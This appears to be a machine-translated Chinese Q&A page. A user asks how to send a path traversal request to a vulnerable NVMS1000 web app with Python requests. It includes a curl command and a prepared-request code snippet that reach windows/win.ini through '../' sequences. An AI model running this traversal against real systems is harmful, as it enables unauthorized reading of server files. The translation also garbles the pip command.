用python请求进行路径遍历

2024-09-28 23:51:11 发布

您现在位置:Python中文网/ 问答频道 /正文

最近,我想通过python请求模块自动攻击一个容易受到路径遍历攻击(NVMS1000)的web应用程序

通过使用如下选项路径,请求与curl完美配合:

curl --path-as-is http://127.0.0.1/../../../../../../../../../../windows/win.ini

但是,当使用python请求模块时,“./”从urlpath中剥离出来(我可以清楚地看到,例如通过Burp套件):

host = "127.0.0.1"
path = "/../../../../../../../../../.."
file = "/windows/win.ini"
url = host+path+file
response = requests.get(url,proxies=proxies)

我检查了文档,但没有找到任何关于这种行为的解释,也没有找到与curl类似的防止剥离/规范化的选项

平台是debian,请求模块是版本2.22.0

谢谢你的帮助


Tags: 模块path路径web应用程序hosturlwindows
1条回答
网友
1楼 · 发布于 2024-09-28 23:51:11
我知道我迟到了,但是考虑降低ULLIb3:

pip install  upgrade urllib3==1.24.3

或者更好的是,您应该使用prepared requests

my_url = 'http://127.0.0.1/../../../../../../../../../../windows/win.ini'
s = requests.Session()
r = requests.Request(method='GET', url=my_url)
prep = r.prepare()
prep.url = my_url # actual url you want
response = s.send(prep)

相关问题 更多 >